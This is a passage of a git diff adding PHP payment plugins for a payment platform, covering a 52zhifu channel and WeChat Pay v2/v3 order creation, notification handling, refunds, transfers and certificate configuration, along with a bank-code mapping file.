['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='qqpay'){ + return self::qqpay(); + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码支付 + static private function addOrder($pay_type, $openid = null){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf, $clientip; + + if(!empty($channel['appurl'])) { + $apiurl = $channel['appurl'].'api/payment/create'; + }else{ + $apiurl = 'https://payapi.52zhifu.com/api/payment/create'; + } + $param = [ + 'appid' => $channel['appid'], + 'channel' => $pay_type, + 'money' => $order['realmoney'], + 'client_ip' => $clientip, + 'name' => $ordername, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'timestamp' => ''.time() + ]; + if($openid){ + $param['openid'] = $openid; + } + $param['sign'] = self::make_sign($param, $channel['appkey']); + + $data = get_curl($apiurl, http_build_query($param)); + + $result = json_decode($data, true); + + if(isset($result['code']) && $result['code']==200){ + return [$result['data']['type'], $result['data']['param']]; + }else{ + throw new Exception($result['message']?$result['message']:'返回数据解析失败'); + } + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device; + if(in_array('3',$channel['apptype']) && ($device=='mobile' || checkmobile())){ + $pay_type = 'ALIPAY_WAP'; + }elseif(in_array('2',$channel['apptype']) && ($device=='pc' || !checkmobile())){ + $pay_type = 'ALIPAY_PC'; + }else{ + $pay_type = 'ALIPAY_QR'; + } + try{ + list($type, $payData) = self::addOrder($pay_type); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + + if($type == 'redirect_url'){ + return ['type'=>'jump','url'=>$payData]; + }elseif($type == 'form'){ + return ['type'=>'form','url'=>$payData]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$payData]; + } + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $device, $mdevice; + if(in_array('5',$channel['apptype']) && ($device=='mobile' || checkmobile())){ + $pay_type = 'WECHAT_H5'; + }else{ + $pay_type = 'WECHAT_QR'; + } + try{ + list($type, $payData) = self::addOrder($pay_type); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($type == 'redirect_url'){ + return ['type'=>'jump','url'=>$payData]; + }elseif($type == 'form'){ + return ['type'=>'form','url'=>$payData]; + }else{ + if (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$payData]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$payData]; + } + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + //①、获取用户openid + if(!isset($_GET['openid'])){ + $redirect_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + if(!empty($channel['appurl'])) { + $apiurl = $channel['appurl'].'api/openid'; + }else{ + $apiurl = 'https://payapi.52zhifu.com/api/openid'; + } + $url = $apiurl.'?appid='.$channel['appid'].'&redirect_uri='.urlencode($redirect_url); + return ['type'=>'jump','url'=>$url]; + } + $openId = $_GET['openid']; + $blocks = checkBlockUser($openId, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + list($type, $payData) = self::addOrder('WECHAT_JSAPI', $openId); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + $redirect_url='data.backurl'; + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$payData, 'redirect_url'=>$redirect_url]]; + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + list($type, $payData) = self::addOrder('QQPAY_QR'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$ex->getMessage()]; + } + + if(checkmobbileqq()){ + return ['type'=>'jump','url'=>$payData]; + } elseif(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$payData]; + } else { + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$payData]; + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + list($type, $payData) = self::addOrder('BANK_QR'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$payData]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + if(!isset($_POST)) return ['type'=>'html','data'=>'no data']; + + $sign = self::make_sign($_POST, $channel['appkey']); + + if($sign===$_POST["sign"]){ + $out_trade_no = $_POST['out_trade_no']; + $api_trade_no = $_POST['trade_no']; + $money = $_POST['money']; + + if ($out_trade_no == TRADE_NO && round($money,2)==round($order['realmoney'],2)) { + processNotify($order, $api_trade_no); + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'fail']; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel, $conf; + if(empty($order))exit(); + + if(!empty($channel['appurl'])) { + $apiurl = $channel['appurl'].'api/refund/confrim'; + }else{ + $apiurl = 'https://payapi.52zhifu.com/api/refund/confrim'; + } + $param = [ + 'appid' => $channel['appid'], + 'trade_no' => $order['api_trade_no'], + 'money' => $order['refundmoney'], + 'timestamp' => ''.time() + ]; + $param['sign'] = self::make_sign($param, $channel['appkey']); + $data = get_curl($apiurl, http_build_query($param)); + $result = json_decode($data, true); + + if(isset($result['code']) && $result['code']==200){ + return ['code'=>0]; + }else{ + return ['code'=>-1, 'msg'=>$result['message']?$result['message']:'接口返回错误']; + } + } + + //转账 + static public function transfer($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + if($bizParam['type'] == 'wxpay') $bizParam['type'] = 'wechat'; + + if(!empty($channel['appurl'])) { + $apiurl = $channel['appurl'].'api/trans/confrim'; + }else{ + $apiurl = 'https://payapi.52zhifu.com/api/trans/confrim'; + } + $param = [ + 'appid' => $channel['appid'], + 'type' => $bizParam['type'], + 'account' => $bizParam['payee_account'], + 'name' => $bizParam['payee_real_name'], + 'memo' => $bizParam['transfer_desc'], + 'money' => $bizParam['money'], + 'timestamp' => ''.time() + ]; + $param['sign'] = self::make_sign($param, $channel['appkey']); + $data = get_curl($apiurl, http_build_query($param)); + $result = json_decode($data, true); + + if(isset($result['code']) && $result['code']==200){ + return ['code'=>0, 'status'=>$result['data']['status'], 'orderid'=>$result['data']['trade_no'], 'paydate'=>date('Y-m-d H:i:s')]; + }else{ + return ['code'=>-1, 'msg'=>$result['message']?$result['message']:'接口返回错误']; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + if(!empty($channel['appurl'])) { + $apiurl = $channel['appurl'].'api/trans/query'; + }else{ + $apiurl = 'https://payapi.52zhifu.com/api/trans/query'; + } + $param = [ + 'appid' => $channel['appid'], + 'trade_no' => $bizParam['orderid'], + 'timestamp' => ''.time() + ]; + $param['sign'] = self::make_sign($param, $channel['appkey']); + $data = get_curl($apiurl, http_build_query($param)); + $result = json_decode($data, true); + + if(isset($result['code']) && $result['code']==200){ + return ['code'=>0, 'status'=>$result['data']['status'], 'amount'=>$result['data']['money'], 'paydate'=>$result['data']['trade_time'], 'errmsg'=>$result['data']['status_text']]; + }else{ + return ['code'=>-1, 'msg'=>$result['message']?$result['message']:'接口返回错误']; + } + } + +} \ No newline at end of file diff --git a/plugins/wxpay/inc/bankcode.json b/plugins/wxpay/inc/bankcode.json new file mode 100644 index 0000000..3877cc0 --- /dev/null +++ b/plugins/wxpay/inc/bankcode.json @@ -0,0 +1 @@ +{"ICBC":"1002","ABC":"1005","CCB":"1003","BOC":"1026","COMM":"1020","CMB":"1001","PSBC":"1066","CMBC":"1006","SPABANK":"1010","CITIC":"1021","SPDB":"1004","CIB":"1009","CEB":"1022","GDB":"1027","HXBANK":"1025","NBBANK":"1056","BJBANK":"4836","SHBANK":"1024","NJCB":"1054","RHCZBANK":"4755","CSCB":"4216","ZJTLCB":"4051","ZYB":"4753","IBK":"4761","SDEB":"4036","HSBK":"4752","CZCCB":"4756","DTCBANK":"4767","HNRCU":"4115","NXRCU":"4150","SXRCU":"4156","ARCU":"4166","GSRCU":"4157","TRCB":"4153","GXRCU":"4113","SXRCCU":"4108","SRCB":"4076","NBYZ":"4052","ZJNX":"4764","JSRCU":"4217","JZRCBANK":"4072","ZGCBANK":"4769","DBS":"4778","ZZYH":"4766","UBCHN":"4758","NYSYBANK":"4763"} \ No newline at end of file diff --git a/plugins/wxpay/inc/config.php b/plugins/wxpay/inc/config.php new file mode 100644 index 0000000..dff741c --- /dev/null +++ b/plugins/wxpay/inc/config.php @@ -0,0 +1,32 @@ + $channel['appid'], + + //商户号 + 'mchid' => $channel['appmchid'], + + //商户APIv2密钥 + 'apikey' => $channel['appkey'], + + //公众帐号secert(仅JSAPI支付需要配置) + 'appsecret' => '', + + //商户证书路径(仅退款、撤销订单时需要) + 'sslcert_path' => PLUGIN_ROOT.$channel['plugin'].'/cert/apiclient_cert.pem', + + //商户证书私钥路径 + 'sslkey_path' => PLUGIN_ROOT.$channel['plugin'].'/cert/apiclient_key.pem', + + //付款到银行卡的RSA公钥 + 'publickey_path' => PLUGIN_ROOT.$channel['plugin'].'/cert/public_key.pem', +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_cert.pem') && file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem')){ + $wechatpay_config['sslcert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_cert.pem'; + $wechatpay_config['sslkey_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem'; + $wechatpay_config['publickey_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/public_key.pem'; +} + +return $wechatpay_config; \ No newline at end of file diff --git a/plugins/wxpay/wxpay_plugin.php b/plugins/wxpay/wxpay_plugin.php new file mode 100644 index 0000000..27b4697 --- /dev/null +++ b/plugins/wxpay/wxpay_plugin.php @@ -0,0 +1,509 @@ + 'wxpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '微信官方支付', //支付插件显示名称 + 'author' => '微信', //支付插件作者 + 'link' => 'https://pay.weixin.qq.com/', //支付插件作者链接 + 'types' => ['wxpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['wxpay','bank'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '服务号/小程序/开放平台AppID', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户API密钥', + 'type' => 'input', + 'note' => 'APIv2密钥', + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => 'Native支付', + '2' => 'JSAPI支付', + '3' => 'H5支付', + '5' => 'APP支付', + ], + 'note' => '

    上方AppID填写已认证的服务号/小程序/开放平台应用皆可,需要在微信支付后台关联对应的AppID账号才能使用。

    如需资金下发(如退款)功能,请将API证书放置于/plugins/wxpay/cert/文件夹(或/plugins/wxpay/cert/商户ID/文件夹)

    ', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf; + + $urlpre = '/'; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if(checkwechat()){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }elseif(in_array('1',$channel['apptype']) && $conf['wework_payopen'] == 1){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + }else{ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + }elseif(checkmobile()){ + if(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype']) && strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone OS')!==false){ + return ['type'=>'jump','url'=>$urlpre.'pay/apppay/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return ['type'=>'jump','url'=>$urlpre.'pay/wap/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + $urlpre = $siteurl; + if (!empty($conf['localurl_wxpay']) && !strpos($conf['localurl_wxpay'], $_SERVER['HTTP_HOST'])) { + $urlpre = $conf['localurl_wxpay']; + } + + if($method == 'applet' && in_array('2',$channel['apptype'])){ + return self::applet(); + }elseif($method=='app'){ + return self::apppay(); + }elseif($method=='jsapi'){ + return self::jspay(); + }elseif($method=='scan'){ + return self::scanpay(); + } + elseif($mdevice=='wechat'){ + if(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$urlpre.'pay/jspay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + return self::wap(); + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + }elseif($device=='mobile'){ + if(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/h5/'.TRADE_NO.'/']; + }elseif(in_array('5',$channel['apptype'])){ + return ['type'=>'jump','url'=>$urlpre.'pay/submit/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype']) && ($channel['appwxmp']>0 || $channel['appwxa']>0)){ + return self::wap(); + }else{ + return self::qrcode(); + } + }else{ + return self::qrcode(); + } + } + + //扫码支付 + static public function qrcode(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if(in_array('1',$channel['apptype'])){ + + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'product_id' => '01001', + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->nativePay($params); + $code_url = $result['code_url']; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + + }elseif(in_array('2',$channel['apptype']) && $channel['appwxmp']>0){ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + }elseif(in_array('2',$channel['apptype']) && $channel['appwxa']>0){ + $code_url = $siteurl.'pay/wap/'.TRADE_NO.'/'; + }else{ + return ['type'=>'error','msg'=>'当前支付通道没有开启的支付方式']; + } + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + + //JS支付 + static public function jspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + if(!empty($order['sub_openid'])){ + if(!empty($order['sub_appid'])){ + $channel['appid'] = $order['sub_appid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + $channel['appid'] = $wxinfo['appid']; + } + $openid = $order['sub_openid']; + }else{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + $channel['appid'] = $wxinfo['appid']; + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + } + + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'openid' => $openid, + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->jsapiPay($params); + $jsApiParameters = json_encode($result); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + if($method == 'jsapi'){ + return ['type'=>'jsapi','data'=>$result]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$jsApiParameters, 'redirect_url'=>$redirect_url]]; + } + + //手机支付 + static public function wap(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxa']>0 && !isset($_GET['qrcode'])){ + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //H5支付 + static public function h5(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $scene_info = [ + 'h5_info' => [ + 'type' => 'Wap', + 'wap_url' => $siteurl, + 'wap_name' => $conf['sitename'] + ] + ]; + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'scene_info' => json_encode($scene_info, JSON_UNESCAPED_UNICODE), + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->h5Pay($params); + $redirect_url=$siteurl.'pay/return/'.TRADE_NO.'/'; + $url=$result['mweb_url'].'&redirect_url='.urlencode($redirect_url); + return ['type'=>'jump','url'=>$url]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + $channel['appid'] = $wxinfo['appid']; + + //①、获取用户openid + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'openid' => $openid, + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $jsApiParameters = $client->jsapiPay($params); + exit(json_encode(['code'=>0, 'data'=>$jsApiParameters])); + }catch(Exception $e){ + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败!'.$e->getMessage()])); + } + } + + //APP支付 + static public function apppay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->appPay($params); + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + $param = [ + 'nonceStr' => $result['noncestr'], + 'package' => $result['package'], + 'partnerId' => $result['partnerid'], + 'prepayId' => $result['prepayid'], + 'timeStamp' => $result['timestamp'], + 'sign' => $result['sign'], + ]; + $code_url = 'weixin://app/'.$result['appid'].'/pay/?'.http_build_query($param); + return ['type'=>'qrcode','page'=>'wxpay_h5','url'=>$code_url]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //付款码支付 + static public function scanpay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $params = [ + 'body' => $ordername, + 'out_trade_no' => TRADE_NO, + 'total_fee' => strval($order['realmoney']*100), + 'spbill_create_ip' => $clientip, + 'auth_code' => $order['auth_code'], + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->microPay($params); + processNotify($order, $result['transaction_id'], $result['openid']); + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['transaction_id'], 'buyer'=>$result['openid'], 'money'=>strval(round($result['total_fee']/100, 2))]]; + }catch(\WeChatPay\WeChatPayException $e){ + $err_code = $e->getErrCode(); + if($err_code == 'SYSTEMERROR' || $err_code == 'USERPAYING'){ + if($err_code == 'USERPAYING') sleep(2); + $retry = 0; + $success = false; + while($retry < 6){ + sleep(3); + try{ + $result = $client->orderQuery(null, TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付失败!订单查询失败:'.$e->getMessage()]; + } + if($result['trade_state'] == 'SUCCESS'){ + $success = true; + break; + }elseif($result['trade_state'] != 'USERPAYING'){ + return ['type'=>'error','msg'=>'微信支付失败!订单超时或用户取消支付']; + } + $retry++; + } + if($success){ + processNotify($order, $result['transaction_id'], $result['openid']); + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['transaction_id'], 'buyer'=>$result['openid'], 'money'=>strval(round($result['total_fee']/100, 2))]]; + }else{ + try{ + $client->reverse(null, TRADE_NO); + }catch(Exception $e){ + } + return ['type'=>'error','msg'=>'微信支付失败!订单已超时']; + } + } + return ['type'=>'error','msg'=>$e->getMessage()]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$e->getMessage()]; + } + } + + //小程序跳转支付 + static public function applet(){ + global $channel; + try{ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + $path = wxminipay_jump_path(TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>['appId'=>$wxinfo['appid'], 'miniProgramId'=>'', 'path'=>$path]]; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $isSuccess = true; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \WeChatPay\PaymentService($wechatpay_config); + $data = $client->notify(); + if($data['out_trade_no'] == TRADE_NO && $data['total_fee']==strval($order['realmoney']*100)){ + processNotify($order, $data['transaction_id'], $data['openid']); + } + }catch(Exception $e){ + $isSuccess = false; + $errmsg = $e->getMessage(); + } + + $client->replyNotify($isSuccess, $errmsg); + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $params = [ + 'transaction_id' => $order['api_trade_no'], + 'out_refund_no' => $order['refund_no'], + 'total_fee' => strval($order['realmoney']*100), + 'refund_fee' => strval($order['refundmoney']*100), + ]; + $wechatpay_config = require(PAY_ROOT.'inc/config.php'); + $client = new \WeChatPay\PaymentService($wechatpay_config); + try{ + $result = $client->refund($params); + $result = ['code'=>0, 'trade_no'=>$result['transaction_id'], 'refund_fee'=>$result['refund_fee']]; + } catch(Exception $e) { + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } + + //转账 + static public function transfer($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + $money = strval($bizParam['money'] * 100); + $wechatpay_config = require(PLUGIN_ROOT.'wxpay/inc/config.php'); + try{ + $client = new \WeChatPay\TransferService($wechatpay_config); + if($bizParam['type'] == 'bank'){ + $bank_code = self::getBankCode($bizParam['payee_account']); + $result = $client->transferToBank($bizParam['out_biz_no'], $bizParam['payee_account'], $bizParam['payee_real_name'], $bank_code, $money, $bizParam['transfer_desc']); + return ['code'=>0, 'status'=>1, 'orderid'=>$result['payment_no'], 'paydate'=>date('Y-m-d H:i:s')]; + }else{ + $result = $client->transfer($bizParam['out_biz_no'], $bizParam['payee_account'], $bizParam['payee_real_name'], $money, $bizParam['transfer_desc']); + return ['code'=>0, 'status'=>1, 'orderid'=>$result['payment_no'], 'paydate'=>$result['payment_time']]; + } + }catch(\WeChatPay\WeChatPayException $e){ + $result = $e->getResponse(); + return ['code'=>-1, 'errcode'=>$result['err_code'], 'msg'=>$e->getMessage()]; + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + $wechatpay_config = require(PLUGIN_ROOT.'wxpay/inc/config.php'); + try{ + $client = new \WeChatPay\TransferService($wechatpay_config); + if($bizParam['type'] == 'bank'){ + $result = $client->queryBank($bizParam['out_biz_no']); + $result['payment_amount'] = $result['amount']; + $result['payment_time'] = $result['pay_succ_time']; + }else{ + $result = $client->transferQuery($bizParam['out_biz_no']); + } + if($result['status'] == 'SUCCESS'){ + $status = 1; + }elseif($result['status'] == 'FAILED' || $result['status'] == 'BANK_FAIL'){ + $status = 2; + }else{ + $status = 0; + } + return ['code'=>0, 'status'=>$status, 'amount'=>round($result['payment_amount']/100, 2), 'paydate'=>$result['payment_time'], 'errmsg'=>$result['reason']]; + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + static private function getBankCode($bankcard){ + $bank_info = getBankCardInfo($bankcard); + $bank_code_arr = json_decode(file_get_contents(PLUGIN_ROOT.'wxpay/inc/bankcode.json'), true); + if(isset($bank_code_arr[$bank_info['bank_code']])){ + return $bank_code_arr[$bank_info['bank_code']]; + }else{ + return ''; + } + } +} \ No newline at end of file diff --git a/plugins/wxpayn/inc/config.php b/plugins/wxpayn/inc/config.php new file mode 100644 index 0000000..81841ae --- /dev/null +++ b/plugins/wxpayn/inc/config.php @@ -0,0 +1,32 @@ + $channel['appid'], + + //商户号 + 'mchid' => $channel['appmchid'], + + //APIv3密钥 + 'apikey' => $channel['appsecret'], + + //「商户API私钥」文件路径 + 'merchantPrivateKeyFilePath' => PLUGIN_ROOT.$channel['plugin'].'/cert/apiclient_key.pem', + + //「商户API证书」的「证书序列号」 + 'merchantCertificateSerial' => $channel['appkey'], + + //「微信支付平台证书或公钥」文件路径 + 'platformCertificateFilePath' => PLUGIN_ROOT.$channel['plugin'].'/cert/pub_key.pem', + + //微信支付平台公钥ID + 'platformCertificateSerial' => $channel['publickeyid'], +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem')){ + $wechatpay_config['merchantPrivateKeyFilePath'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/apiclient_key.pem'; + $wechatpay_config['platformCertificateFilePath'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appmchid'].'/pub_key.pem'; +} + +return $wechatpay_config; \ No newline at end of file diff --git a/plugins/wxpayn/wxpayn_plugin.php b/plugins/wxpayn/wxpayn_plugin.php new file mode 100644 index 0000000..c1d3fba --- /dev/null +++ b/plugins/wxpayn/wxpayn_plugin.php @@ -0,0 +1,883 @@ + 'wxpayn', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '微信官方支付V3', //支付插件显示名称 + 'author' => '微信', //支付插件作者 + 'link' => 'https://pay.weixin.qq.com/', //支付插件作者链接 + 'types' => ['wxpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['wxpay'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 